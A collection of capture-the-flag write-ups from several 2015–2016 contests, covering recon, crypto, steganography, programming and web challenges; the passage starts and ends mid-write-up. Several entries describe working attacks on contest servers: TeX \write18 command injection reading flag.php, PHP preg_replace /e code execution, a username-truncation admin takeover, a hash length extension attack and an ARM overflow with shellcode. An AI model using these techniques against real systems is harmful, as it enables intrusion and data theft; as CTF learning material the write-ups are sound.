-Rearraging these letters we get LIBYA. From this we deduced that the challange was looking for Ghaddafi which happened to be the flag. ##Programming 3**Q: Still Hungry and unsutisfied, you are looking for more. Some more, unique un heard dishes. Then you can find one to make it your self. Its his Dish. He has his own website which is he describes as " a social home for each of our passions". The link to his website is on his google+ page. whats the name of his site. By the way he loves and hogs on "Onion Kheer". Have you heard of "Onion Kheer"?** - The solution was simple. Searching for Onion kheer on google plus provides you with multiple results on Chef BB. The flag was affimity.com which was found on one of the top three resuts. ##Programming 4**Q: One of the _"NullCon"_ vidoes talked about a marvalous Russian Gift. The Vidoe was uploaded on [_"May of 2015"_] What is the ID of that _"Youtube video"_.** - This was a very simple "recon" question. If you look at the "quoted" words in the question, you go to Youtube and search for "Nullcon" and you will see its channel, under the channel's videos category, you just look for the video that was uploaded back in May of 2015. There are few videos uploaded in May of 2015, but you have unlimited submission chance, so try it until you find the correct one. - The _"ID"_ can be found in the URL. The correct video had the following URL: "https://www.youtube.com/watch?v=a4_PvN_A1ts". After the "watch?v=", "a4_PvN_A1ts" is the video's ID. - Therefore the answer was: **"a4_PvN_A1ts"** ##Programming 5**Q: Dont blink your Eyes, you might miss it. But the fatigue and exhaustion rules out any logic, any will to stay awake. What you need now is a slumber. Cat nap will not do. 1 is LIFE and 0 is DEAD. in this GAME OF LIFE sleep is as important food. So... catch some sleep. But Remember...In the world of 10x10 matirx, the Life exists. If you SLOTH, sleep for 7 Ticks, or 7 Generation, In the game of Life can you tell what will be the state of the world? The world- 10x10 0000000000,0000000000,0001111100,0000000100,0000001000,0000010000,0000100000,0001000000,0000000000,000000000** - The challenge referres to Conways Game of life. We first started off by looking for a 10x10 version of the game online and found one at he following link: http://www.edshare.soton.ac.uk/948/5/gol.html. We then filled in the blocks using the binary numbers given using 1 as LIFE and 0 as DEAD. The game was runfor 7 generations and the resulting row binaries gave the flag.
# Break In 2016 - Oops **Category:** Web**Points:** 50**Solves:** 35**Description:** > <style></style> (this line is escaped)> <script src="https://felicity.iiit.ac.in/contest/breakin/static/jquery.min.js"></script> ## Write-up by [ParthKolekar](https://github.com/ParthKolekar) The content of the attached jquery.min.js has a line attached to it in the bottom. This line does var content=ajax.fetchPage("http://example.com").toDOM();content.querySelector("h1").parentNode.childNodes[3].innerHTML.split(" ").slice(26).join(" "); This is a straight forward question to open http://example.com nad the do split, slice and join operations on it's text. The related line on http://example.com was This domain is established to be used for illustrative examples in documents. You may use this domain in examples without prior coordination or asking for permission. On applying the split, slice, and join we end up with asking for permission. Which is the flag. ## Other write-ups and resources * <https://github.com/objEEdump/breakin/tree/master/oops>
## The Secret Store (Web, 70p) Description: We all love secrets. Without them, our lives would be dull. A student wrote a secure secret store, however he was babbling about problems with the database. Maybe I shouldn't use the 'admin' account. Hint1: Account deletion is intentional. Hint2: I can't handle long usernames. ###ENG[PL](#pl-version) In the task we get access to www page which allows us to register a user and set a "secret" value for him.We expected that we were supposed to login as admin and the secret for the admin would be the flag.We spent a lot of time on this, trying a lot of stuff including XSS (the page was vulnerable), blind SQLi and many more.We have noticed that it was possible to change password for our users if we tried to register them again, but this didn't work for admin user.The solution turned out to be rather simple - the limit for number of characters in login was 32, however the check for existing accounts took whole input to test.This means that registering a user with 33 character in login would in fact register this user with only first 32 character as login, but the check for unique login would be performed on whole 33 characters input. Therefore we registered user with login: ```pythonpayload = 'admin'+(' '*27)+'aa'``` Which meant that in reality we simply changed the password for `admin` user since spaces were omitted. The flag was: `IW{TRUNCATION_IS_MY_FRIEND}` ###PL version W zadaniu dostajemy dostęp do strony www która pozwala zarejestrowac użytkownika i ustawić dla niego "sekretną" wartość.Założyliśmy, że musimy zalogować się jako admiin a sekretna wartość będzie flagą.Spędziliśmy nad tym zadaniem bardzo dużo czasu próbując różnych podejść, między innymi XSS (strona była podatna), ślepe SQLi i wiele innych.Zauważyliśmy że jest możliwość zmiany hasła dla naszych użytkowników poprzez ponowną ich rejestracje, ale to nie działało dla admina.Rozwiązanie okazało się dość proste - limit na długość loginu wynosił 32 znaki, ale test unikalności loginu był przeprowadzany dla całego wejścia.To oznacza że rejestracja użytkownika z loginem na 33 znaki w rzeczywistości zarejestrowałby użytkownika z pierwszymi 32 znakami jako login, ale sprawdzenie czy taki użytkownik nie istnieje brałoby pod uwagę 33 znaki. W związku z tym zarejestrowaliśmy użytkownika: ```pythonpayload = 'admin'+(' '*27)+'aa'``` Co oznacza że w praktyce zmieniliśmy hasło dla `admin`, bo spacje zostały pominięte. W ten sposób uzyskaliśmy flagę: `IW{TRUNCATION_IS_MY_FRIEND}`
## Crypto-Pirat (Crypto, 50p) Did the East German Secret Police see a Pirat on the sky? Help me find out! Hint: We had 9 planets from 1930–2006... Hint2: Each planet has a number. (There's a table on a well-known website). After that you might be interested in ciphers used by the secret police. [attachment](ciphertext.txt) ###ENG[PL](#pl-version) This task was a bit of a guessing game, but still quite fun. The harder part was to start with the task.It turned out that we had to change unicode planet symbols in the input file to planet numbers. ```pythonwith open("ciphertext.txt", "rb") as file: data = file.read() chars = { 0x2295: "3", 0x2640: "2", 0x2646: "8", 0x2647: "9",} result = "".join([chars.get(ord(c), c) for c in data.decode("utf8")])``` Which gave us: 82928 99283 92928 98983 89899 28983 89898 98983 89929 28392 83928 38989 92898 39292 83898 98992 83898 98983 89898 98392 89928 98392 89899 28389 89929 29283 89899 28392 92898 38992 83928 99292 83898 98989 83928 99289 83928 98992 83898 99292 92839 28989 83929 29283 92928 98983 89898 98389 92928 38989 89899 28392 92898 98389 89899 29283 89898 98389 92898 98389 89898 98983 89929 28392 92898 38983 89899 29292 83928 99289 83929 28989 89839 28983 92928 98983 89898 98392 89899 28389 83929 29283 89928 98389 92929 28389 92928 98389 89928 39289 89899 28392 89898 99283 92898 98992 83928 98989 92839 28989 89928 39289 89899 2 This seemed similar to one-time-pad encryption used by some secret services in the past.Using the suggestion from description that it is about germany, we found the TAPIR encryption scheme, and the decryption table: http://scz.bplaced.net/m.html#t From this table we figured that we are interested in 2-digit partition of our data. There were only 4 different 2-digit blocks: 82, 83, 89, 92 First one start the symbolic mode, second is a control character for space and the last two are dot and dash.This suggests morse code.We generate morse code from the previous code result: ```pythonresult = result.replace(" ", "")result = "".join(result[i:i + 2] for i in range(0, len(result), 2))result = result.replace("82", "")result = result.replace("83", " ")result = result.replace("89", ".")result = result.replace("92", "-")``` Which gives: -.- --.. ..-. .... .-- - - ..-. -- ...- ... ... -.-. -..- ..--- ..- --. .- -.-- .... -.-. -..- ..--- -.. --- --.. ... .-- ....- --.. ...-- ... .-.. ..... .-- --. . ..--- -.-. --... -. --.. ... -..- . --- .-. .--- .--. ..- -...- -...- -...- -...- -...- -...- And this decodes as morse code to: KZFHWTTFMVSSCX2UGAYHCX2DOZSW4Z3SL5WGE2C7NZSXEORJPU====== Which we recognize as base-32 encoded string, which decoded via `base64.b32decode("KZFHWTTFMVSSCX2UGAYHCX2DOZSW4Z3SL5WGE2C7NZSXEORJPU======")` gives: VJ{Neee!_T00q_Cvengr_lbh_ner:)} Which looks like some kind of shift/substitution cipher. It turnes out to be rot13 which decoded via `code.encode("rot_13")` gives: `IW{Arrr!_G00d_Pirate_you_are:)}` ###PL version Zadanie wymagało trochę zgadywania, ale mimo to było dość ciekawe.Największy problem stanowiło znalezienie punktu zaczepienia na początek.Okazało się, że należało zamienić unicodowe symbole planet w pliku wejściowym na numery tych planet w układzie słonecznym: ```pythonwith open("ciphertext.txt", "rb") as file: data = file.read() chars = { 0x2295: "3", 0x2640: "2", 0x2646: "8", 0x2647: "9",} result = "".join([chars.get(ord(c), c) for c in data.decode("utf8")])``` To dało nam: 82928 99283 92928 98983 89899 28983 89898 98983 89929 28392 83928 38989 92898 39292 83898 98992 83898 98983 89898 98392 89928 98392 89899 28389 89929 29283 89899 28392 92898 38992 83928 99292 83898 98989 83928 99289 83928 98992 83898 99292 92839 28989 83929 29283 92928 98983 89898 98389 92928 38989 89899 28392 92898 98389 89899 29283 89898 98389 92898 98389 89898 98983 89929 28392 92898 38983 89899 29292 83928 99289 83929 28989 89839 28983 92928 98983 89898 98392 89899 28389 83929 29283 89928 98389 92929 28389 92928 98389 89928 39289 89899 28392 89898 99283 92898 98992 83928 98989 92839 28989 89928 39289 89899 2 Przypomina to tablice do szyfrowania metodą one-time-pad stosowane przez służby specjalne w przeszłości.Korzystając z sugestii że chodziło o niemcy, trafiamy na szyfrowanie TAPIR i tablicę dekodującą: http://scz.bplaced.net/m.html#t Z tej tablicy zauważamy że interesują nas podział naszych danych na 2-cyfrowe fragmenty.To daje nam zaledwie 4 różne bloki: 82, 83, 89, 92 Pierwszy otwiera transmisje symboliczną, drugi to znak spacji, a pozostałe dwa to kropka i kreska.To sugeruje kod morsa, który generujemy przez: ```pythonresult = result.replace(" ", "")result = "".join(result[i:i + 2] for i in range(0, len(result), 2))result = result.replace("82", "")result = result.replace("83", " ")result = result.replace("89", ".")result = result.replace("92", "-")``` Co daje: -.- --.. ..-. .... .-- - - ..-. -- ...- ... ... -.-. -..- ..--- ..- --. .- -.-- .... -.-. -..- ..--- -.. --- --.. ... .-- ....- --.. ...-- ... .-.. ..... .-- --. . ..--- -.-. --... -. --.. ... -..- . --- .-. .--- .--. ..- -...- -...- -...- -...- -...- -...- A to dekoduje się do: KZFHWTTFMVSSCX2UGAYHCX2DOZSW4Z3SL5WGE2C7NZSXEORJPU====== Co rozpoznajemy jako stringa kodowanego w base-32, który po zdekodowaniu przez `base64.b32decode("KZFHWTTFMVSSCX2UGAYHCX2DOZSW4Z3SL5WGE2C7NZSXEORJPU======")` daje: VJ{Neee!_T00q_Cvengr_lbh_ner:)} Co wygląda na szyfr przestawieniowy/podstawieniowy.Okazuje się, że jest to rot-13, który po zdekodowaniu przez `code.encode("rot_13")` daje: `IW{Arrr!_G00d_Pirate_you_are:)}`
# HackIM CTF 2016 : Exploit 100 **Category:** exploit |**Name:** pinkfloyd |**Solves:** ? |**Description:** > 52.72.171.221 9981 ___ ## Write-up This was a fun since it was my first ARM exploit :) ### Step 0: war of information $ file pinkfloyd pinkfloyd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=62c86841d0c0384ce39d70fef5afe0eee5cad7b4, not stripped checksec --file pinkfloyd RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH pinkfloyd So it's a statically linked ARM elf with no advanced protection. ### Step 1: find the white rabbit After playing a little we can crash the program using the create command by filling the tags parameter. ### Step 2: $pcNow we want to overwrite the current instruction pointer $pc because it's sexy and this way we can control the flow of execution.We need as much information as possible that why we need either an arm device or arm VM, we also need some decompiler/debugger ida and gdb will do the work.Because you'r cool, I share with you this 2.9M [qemu-arm](/qemu-arm) standalone :) Using python and your prefered pattern generator inject 300 bytes in the tags field, using gdb we now know the offset for overwriting $pc is 88. ### Step 3: store the shellcodeDuring a static IDA analysis, we saw that one allocation of the buffer where the name is stored. This buffer addr can be found using gdb.ptr = 0x8f830![IDA](/IDA_malloc_Capture.PNG) ### Step 4: write the shellcodePlaying around with arm-linux-as and arm-linux-ld we can write our own shellcode. Make sure to avoid null byte !! and don't forget to dup2 stdin, stdout, stderr to the socket :p[help here shellstorm] (http://shell-storm.org/blog/Shellcode-On-ARM-Architecture/)![IDA](/Shellcode_Capture.PNG) ### Step 5: finish himWe got almost everything but don't forget the flag :)We wrote the shellcodeWe overwrote $pcThe shell is running but there is no ls on the system >$ls ls: command not found >echo * ls output here :D flagBlaBla.txt > cat flag* FlagHere ### Full exploit:[exploit](/exploit.py) ### Bonus: IRLIn real life, it wasn't that simple, I spend a lot of time messing to find a addr where I can jump to because we got no information about the state of the distant machine memory, I began to try with the stack but no luck. We can't rop or "ret to libc..static" because there are a lot of null byte in all addr. I didn't saw at the first look that we can overflow in tags too. it help because the overwrite in not dependant of the shellcode upload. Some shit when shellcoding... I realy encourage you to check out this [qemu-arm](/qemu-arm) standalone because it's very light and we don't need to setup a vm just ./quemu-arm ./pinkfloyd I saved it from an previous ctf ^^ check out my gdb.gdbinit you can start it using gdb -x gdb.gdbinit it's awesome because I can automate everything, it's a big time saver, here it's basic but we can do a lot more complexEnjoy :) ----[@chaign\_c](https://twitter.com/chaign_c) from [HexpressoTeam](http://hexpresso.github.io/)
# Break In 2016 - Three Thieves Threw Trumpets Through Trees **Category:** Steganography**Points:** 100**Solves:** 70**Description:** > Link: [Here](image1.jpg) ## Write-up by [ParthKolekar](https://github.com/ParthKolekar) The question contains a link to an `image` which is not an image at all.`file` command show that it is actually a wav file. The audio needs to be reversed and slowed down. You can then hear the Felicity Co-ordinator Vivek saying "the password is abracadabra". The password goes in reference to the Felicity '16 theme "Where magic happens". The title is a tongue twister and hints that the content is audio. ## Other write-ups and resources * <http://h4ckx0re-ctf-crew.co.nf/2016/01/27/break-in-2016-ctf-three-thieves-threw-trumpets-through-trees-100-pts/>* <https://github.com/objEEdump/breakin/tree/master/three_thieves>
# Break In 2016 - I have the power **Category:** Web**Points:** 100**Solves:** 30**Description:** > Go to the right places and don't make any mistakes.>> (Right Places is a link to the contest page) ## Write-up by [ParthKolekar](https://github.com/ParthKolekar) The request handler source code (in python) is as follows def is_power2(num): return num != 0 and ((num & (num - 1)) == 0) def challenges(request, param): FLAG = 'Flag: TriColour' if 'seq_count' not in request.session: request.session['seq_count'] = [] elif request.session['seq_count'] == 'Done': return HttpResponse(FLAG) if len(request.session['seq_count']) > 9: request.session['seq_count'] = 'Done'; return HttpResponse(FLAG) try: l = request.session['seq_count'] i = int(param) if is_power2(i): if i not in l: l.append(i) request.session['seq_count'] = l return HttpResponse("+1, " + str(len(l))) else: return HttpResponse("+0, " + str(len(l))) except ValueError: pass request.session['seq_count'] = [] return HttpResponse("+0, 0") Reading the source it is obvious what you have to do to get the flag.You have to make a request having a param having a value which is a power of two. On making a request with param not a power of two, the id resets. The link in the question statement was a request to this controller with the parameter 1. This is shown by the output +0, 0 If you have entered a number which is a power of 2, then the response is either +1, <number of power of 2 entered> if the number has not been given already or +0, <number of power of 2 entered> if the number given is already given. On giving any 9 numbers, the flag is unlocked and the session is edited toalways give you the flag. ## Other write-ups and resources * none yet
# PHP Golf ## Problem Johnny B. Krad from your local schoolyard gang still thinks that you are a poser! Even if you could beat him in Perl golf, you probably can't in PHP golf... [Link](https://school.fluxfingers.net:1521/golf/php/) ## Solution Credit: [@emedvedev](https://github.com/emedvedev), [@johndearman](https://github.com/johndearman) This is a sequel to the [Perl Golf](../Perl Golf [ppc] (75)/) challenge from the same CTF with considerably less solves. Let's open the link: > Write a PHP program that takes a parameter as input and outputs a filtered version with alternating upper/lower case letters of the (english) alphabet. Non-letter characters have to be printed but otherwise ignored.>> - You have 1 second.> - You have 62 (ASCII) chars.> - Do not flood the server.>> ```> Input Hello World! Hallo Welt!> Output HeLlO wOrLd! HaLlO wElT!> ``` A common approach to this challenge was piping the input through the previously obtained script from Perl Golf, which is hilarious. However, let's try a "clear" PHP-only approach. We'll write a script similar to the Perl challenge: match every letter with a regex and iterate a counter, alternating uppercase and lowercase: ```
[](ctf=tum-ctf-teaser-2015)[](type=crypto)[](tags=hash-length-extension-attack)[](tool=hashpump) # bad_apple (crypto 15) ```Baby's 1st ctf.link/assets/downloads/cry/bad_apple.tar.xz try: ncat 1.ctf.link 1027 < good.binexpect: "hello"``` We are given a [tar archive](../bad_apple.tar.xz)It has a python file which is probably the source of the service ```python#!/usr/bin/env python3import sys, binasciifrom Crypto.Hash import SHA256 key = open('key.bin', 'rb').read() message = sys.stdin.buffer.read(0x100)if len(message) < SHA256.digest_size: print('len') exit(0) tag, message = message[:SHA256.digest_size], message[SHA256.digest_size:] if SHA256.new(key + message).digest() != tag: print('bad') exit(0) if b'hello pls' in message: print('hello')if b'flag pls' in message: print(open('flag.txt', 'r').read())``` Also ```bash$ xxd good.bin 0000000: 2628 455f 6617 ecea 0248 95a4 8578 ebce &(E_f....H...x..0000010: 00fa 9204 983d 09b6 d175 7d05 dc43 0567 .....=...u}..C.g0000020: 6865 6c6c 6f20 706c 73 hello pls```` We see that the service uses sha256 to verify the signature and then process the message.We can use hash [Length Extension Attack](https://en.wikipedia.org/wiki/Length_extension_attack) to verify a request with a message 'flag pls'. I use [hashpump](https://github.com/bwall/HashPump) to do the same. There is no information about the key. Hashpump needs a key length for the attack. We'll bruteforce that. ```pythonimport hashpumpyoriginal='hello pls'add='flag pls'hash_old='2628455f6617ecea024895a48578ebce00fa9204983d09b6d1757d05dc430567'limit=100for i in xrange(limit): f=open('lol/'+str(i),'w') l=hashpumpy.hashpump(hash_old,original,add,i) f.write(l[0].decode('hex')+l[1]) f.close()``` will five me hundred files in lol directory. ```bash$ for i in {1..100}; do ncat 1.ctf.link 1027 < $i ; donebadbad..hellohxp{M3rkL3_D4mg4rd_h4s_s0m3_Pr0bl3mZ} bad^C```for keylength 32 it worked. Flag> hxp{M3rkL3_D4mg4rd_h4s_s0m3_Pr0bl3mZ}
Slabs of Platinum Crypto 500 You showed great skill with the last target! But we have found the encrypted image and remnants of an even more complex encryption scheme.Can you help us? -Trail of Bits (quend) slabs_of_platinum_7f07f420a08ea404b88c4888f23c70e3real_hackers_use.sage_2f88c5095680fd3bb890bfc088ea6852 Alright, so a .sage file is given, in addition to the encrypted file. Apparently, a .sage file is used by SageMath, an (extraordinarily extensive) open source math system.So after downloading SageMath and setting it up, we can get to work. The basic algorithm looks like this: encrypted file = AES(KEY, file, IV) With decryption looking strikingly similar ...great. We're given:```pythonn = 20313365319875646582924758840260496108941009525871463319046021451803402705157052789599990588403Le = 1404119484958500351776 ctxt = (master_key^e % n)andctxt = 4104314974842034312729644734009867622818315323910143873563666990448837112322264379294617825939so(master_key^e % n) = 4104314974842034312729644734009867622818315323910143873563666990448837112322264379294617825939 IV = ctxt[78:94] ^ seed len(KEY) = 24len(seed) = 16```and seed is the first 6 bytes of the PNG header + '0000' So if we can find master_key, we're golden Let's try factoring n with our friendly neighborhood factordb.com```pythonp = 123722643358410276082662590855480232574295214169q = 164184701914508585475304431352949988726937945387```At this point, I thought the rest of the challenge would be a cakewalk.Oh, how wrong I was Because e and phi ((p-1)*(q-1)) aren't coprime! To get e to a prime factor (e was even), we divide e by 32 So now e = 43878733904953135993 Running all the new numbers through solve500.py (shoutout to 193s for the original script), we're presented with a few possibilities:```python8850291109671606187019051385847346626341633319270658248902240757028899879368625867493699093050351597904423835841539846968300368167079348230618685886996023032073621044810985513589420381173199617674154518107413849118719601279418616612952527774320499984197297816603460672760105702072309776384985711978954808453137332158002636678369058694126862616263798056939149371313547555838549961901280689796129021846132118651989710575340360010706877882588658850699196142021578851367191810911110995115971211159510710112111595971141019511510199114101116111114763057802045543658604861236924265151439471932786938578697742968529219969529187159852152961954464362264929147972534890491041172718177347033085498845932421064782445154474693110606190841919387271443835273815135357088764773621650848504872267930375533833438274504356795833347019741788926093876040372767789401751495722487290161020999195388670487618365128200800256956252970846615768721697226355103199409935350084381759236055540608330586697241155578253612305858493928679984920188901409544202855889835413680368242586557867818462518815167750654978316009987088400537310720313365319875646582924758840249584997945893554660303808335909340207431564137541279400876487287106943525129776852927062975190739762118352561222713562502671955652148957131956325738114769164851146307421020404039590570745441314948259937620660080507014378069477450282578842692210629149535310536980334163667628116305702928338106304331156812769192183405188005345766007681476052434749854```But, knowing that```pythonKEY = ptxtif len(KEY) == 24: print 'all is good' master_key = ""m = map(ord, ptxt)for i in m: master_key += str(m)```We know that len(master_key) = 24 So, we need to find which of these number gives master_key something resembling the correct length, which is anywhere in the range of 48-72, assuming master_key is human-readable (minimum length 2 of ord(char) and max length 3) The only one that's even remotely close is 10911110995115971211159510710112111595971141019511510199114101116, which through a little reformatting and common sense gives us```pythonmaster_key = [109,111,109,95,115,97,121,115,95,107,101,121,115,95,97,114,101,95,115,101,99,114,101,116](mom_says_keys_are_secret)``` Now, we can just throw our final numbers in the decrypt() function, and we get the flag (after some PNG repair):![flag](cash.png)flag{Crypto_LITERACY_IS_IMPORTANT_FAM_#DiversifyYoPrimes}
# Writeup for TexMaker (WEB90) (90) > Solves: 183> Description: Creating and using coperate templates is sometimes really hard. Luckily, we have a webinterace for creating PDF files. Some people doubt it's secure, but I reviewed the whole code and did not find any flaws.> Service: https://texmaker.ctf.internetwache.org We have a web interface for creating PDF files, which use pdfTeX. ![web901.png](web901.png) In TeX we can use operation `\immediate\write18{YOUR_OWN_SHELL_COMMAND}` means, send `YOUR_OWN_SHELL_COMMAND` to the operating system for execution now. We tried `\immediate\write18{ls}` and had nice result in log: ```LOG:This is pdfTeX, Version 3.14159265-2.6-1.40.15 (TeX Live 2015/dev/Debian) (preloaded format=pdflatex) \write18 enabled.entering extended mode(./27bc8a015bd85914576a8f8a18608474.texLaTeX2e <2014/05/01>Babel <3.9l> and hyphenation patterns for 2 languages loaded.(/usr/share/texlive/texmf-dist/tex/latex/base/article.clsDocument Class: article 2014/09/29 v1.4h Standard LaTeX document class(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo))(/usr/share/texlive/texmf-dist/tex/latex/base/inputenc.sty(/usr/share/texlive/texmf-dist/tex/latex/base/latin1.def))(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsmath.styFor additional information on amsmath, use the `?' option.(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amstext.sty(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsgen.sty))(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsbsy.sty)(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsopn.sty))(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/amsfonts.sty)(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/amssymb.sty)(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphicx.sty(/usr/share/texlive/texmf-dist/tex/latex/graphics/keyval.sty)(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphics.sty(/usr/share/texlive/texmf-dist/tex/latex/graphics/trig.sty)(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/graphics.cfg)(/usr/share/texlive/texmf-dist/tex/latex/pdftex-def/pdftex.def(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/infwarerr.sty)(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ltxcmds.sty))))No file 27bc8a015bd85914576a8f8a18608474.aux.(/usr/share/texlive/texmf-dist/tex/context/base/supp-pdf.mkii[Loading MPS to PDF converter (version 2006.09.02).]) (/usr/share/texlive/texmf-dist/tex/generic/oberdiek/pdftexcmds.sty(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifluatex.sty)(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifpdf.sty))(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/epstopdf-base.sty(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/grfext.sty(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/kvdefinekeys.sty))(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/kvoptions.sty(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/kvsetkeys.sty(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/etexcmds.sty)))(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/epstopdf-sys.cfg))backupscacheliblocallocklogmailoptrunspooltmpwww (./27bc8a015bd85914576a8f8a18608474.aux) )No pages of output.Transcript written on 27bc8a015bd85914576a8f8a18608474.log.``` So we executed `\immediate\write18{ls /var/www/}` returned inside log:```0ldsk00lblog.ctf.internetwache.orgmess-of-hash.ctf.internetwache.orgprocrastination.ctf.internetwache.orgreplace-with-grace.ctf.internetwache.orgtexmaker.ctf.internetwache.orgthe-secret-store.ctf.internetwache.org``` `\immediate\write18{ls /var/www/texmaker.ctf.internetwache.org/}`returned ```ajax.phpassetscleanpdfdir.shcompileconfig.phpconfig.php.sampleflag.phpindex.phppdftemplates``` And finally `\immediate\write18{cat /var/www/texmaker.ctf.internetwache.org/flag.php}` returned flag
## It's Prime Time! (PPC, 60p) Description: We all know that prime numbers are quite important in cryptography. Can you help me to find some? ###ENG[PL](#pl-version) The server sends input as: Hi, you know that prime numbers are important, don't you? Help me calculating the next prime! Level 1.: Find the next prime number after 8: And our task is to provide next prime numer after given number. Numbers were small so we could have implemented a naive algorithm or a sieve, but instead we just used `gmpy2.next_prime`: ```pythonimport reimport socketimport gmpy2from time import sleep def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("188.166.133.53", 11059)) regex = "Level \d+\.: .* (\d+)" initial_data = str(s.recv(4096)) print(initial_data) while True: sleep(1) task = str(s.recv(4096)) m = re.search(regex, task) print(task) previous_number = int(m.group(1)) result = int(gmpy2.next_prime(previous_number)) print("result = "+str(result)) s.sendall(str(result) + "\n") pass main()``` And after 100 examples we got a flag: `IW{Pr1m3s_4r3_!mp0rt4nt}` ###PL version Serwer przysyła dane w formacie: Hi, you know that prime numbers are important, don't you? Help me calculating the next prime! Level 1.: Find the next prime number after 8: A naszym zadaniem jest zwrócić kolejną liczbę pierwszą po podnanej liczbie.Liczby były bardzo małe więc mogliśmy użyć algorytmu naiwnego albo sita, ale zamiast tego użyliśmy gotowego `gmpy2.next_prime`: ```pythonimport reimport socketimport gmpy2from time import sleep def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("188.166.133.53", 11059)) regex = "Level \d+\.: .* (\d+)" initial_data = str(s.recv(4096)) print(initial_data) while True: sleep(1) task = str(s.recv(4096)) m = re.search(regex, task) print(task) previous_number = int(m.group(1)) result = int(gmpy2.next_prime(previous_number)) print("result = "+str(result)) s.sendall(str(result) + "\n") pass main()``` I po 100 przykładach dostaliśmy flagę: `IW{Pr1m3s_4r3_!mp0rt4nt}`
## Dark Forest (PPC, 90p) Description: Someone pre-ordered a forest and now I'm lost in it. There are a lot of binary trees in front and behind of me. Some are smaller or equal-sized than others. Can you help me to invert the path and find out of the forest? Hint: It's about (inverted) BSTs. Don't forget the spaces. ###ENG[PL](#pl-version) Server sends input as: I'm lost in a forest. Can you invert the path? Level 1.: [13, 3] This is list of binary tree nodes in pre-order. Our task is to recontruct the tree, invert it and send to the server as pre-order.Inverting the tree means that any left branch becomes right branch, and right branch becomes left: ```pythondef invert_tree(root): left = root.left right = root.right root.right = left root.left = right if root.right is not None: invert_tree(root.right) if root.left is not None: invert_tree(root.left)``` Traversing and printing pre-order means that we print the value of the node before we print the branches nodes: ```pythondef display(root): result = [] result.append(root.data) if root.left is not None: result.extend(display(root.left)) if root.right is not None: result.extend(display(root.right)) return result``` Therefore we simply read nodes from input, add them to the tree, invert it and send inverted tree as response.Complete solution is [here](tree.py). After 100 tasks we get the flag: `IW{10000101010101TR33}` ###PL version Serwer przysyła dane jako: I'm lost in a forest. Can you invert the path? Level 1.: [13, 3] To jest lista węzłów drzewa binarnego w porządku pre-order.Naszym zadaniem jest odbudować drzewo, odwrócić je a następnie wysłać je do serwera w porządku pre-order.Odwracanie drzewa oznacza że każda lewa gałąź staje się prawą a prawa lewą: ```pythondef invert_tree(root): left = root.left right = root.right root.right = left root.left = right if root.right is not None: invert_tree(root.right) if root.left is not None: invert_tree(root.left)``` Przechodzenie i wypisanie drzewa pre-order oznacza że najpierw wypisujemy wartość danego węzła a dopiero potem jego gałęzi: ```pythondef display(root): result = [] result.append(root.data) if root.left is not None: result.extend(display(root.left)) if root.right is not None: result.extend(display(root.right)) return result``` W związku z tym pobieramy z wejścia listę węzłów, dodajemy je do drzewa, odwracamy je i odsyłamy odwrócone drzewo jako odpowiedź.Całe rozwiązanie jest [tutaj](tree.py). Po 100 przykładach dostajemy flagę: `IW{10000101010101TR33}`
# Writeup for Replace with Grace (WEB60) (60) > Solves: 248> Description: Regular expressions are pretty useful. Especially when you need to search and replace complex terms.> Service: https://replace-with-grace.ctf.internetwache.org/ The website contain form with 3 inputs ![web601.png](web601.png) looked like sending the parameters to the php [`preg_replace`](http://php.net/manual/en/function.preg-replace.php) function. Pattern (first input) may contain [PCRE modifiers](http://php.net/manual/en/reference.pcre.pattern.modifiers.php). So if we added `e` modifier, by manual:> If this deprecated modifier is set, preg_replace() does normal substitution of backreferences in the replacement string, evaluates it as PHP code, and uses the result for replacing the search string. Single quotes, double quotes, backslashes (\\) and NULL chars will be escaped by backslashes in substituted backreferences we could execute own code in second input. First we did `ls`. We used backticks, because other commands like `exec` were blacklisted. ![web602.png](web602.png) and after that, put `cat flag.php` ![web603.png](web603.png) and finally we got the flag
# Writeup for 0ldsk00lBlog (WEB80) (80) > Solves: 243> Description: I stumbled across this kinda oldskool blog. I bet it is unhackable, I mean, there's only static HTML.> Service: https://0ldsk00lblog.ctf.internetwache.org/ Website looked like blog in html only, without any php/js etc. Content highlighted the information about `GIT` ![web801a.png](web801a.png) We checked url `https://0ldsk00lblog.ctf.internetwache.org/.git`. Result was looking good ![web802.png](web802.png) Download the default git files: `https://0ldsk00lblog.ctf.internetwache.org/.git/HEAD``https://0ldsk00lblog.ctf.internetwache.org/.git/refs/heads/master``https://0ldsk00lblog.ctf.internetwache.org/.git/logs/HEAD` Logs contained:```0000000000000000000000000000000000000000 14d58c53d0e70c92a3a0a5d22c6a1c06c4a2d296 Sebastian Gehaxelt <[email protected]> 1453427711 +0100 commit (initial): Initial commit14d58c53d0e70c92a3a0a5d22c6a1c06c4a2d296 dba52097aba3af2b30ccbc589912ae67dcf5d77b Sebastian Gehaxelt <[email protected]> 1453427733 +0100 commit: Added next postdba52097aba3af2b30ccbc589912ae67dcf5d77b 26858023dc18a164af9b9f847cbfb23919489ab2 Sebastian Gehaxelt <[email protected]> 1453427864 +0100 commit: Added another post26858023dc18a164af9b9f847cbfb23919489ab2 8c46583a968da7955c13559693b3b8c5e5d5f510 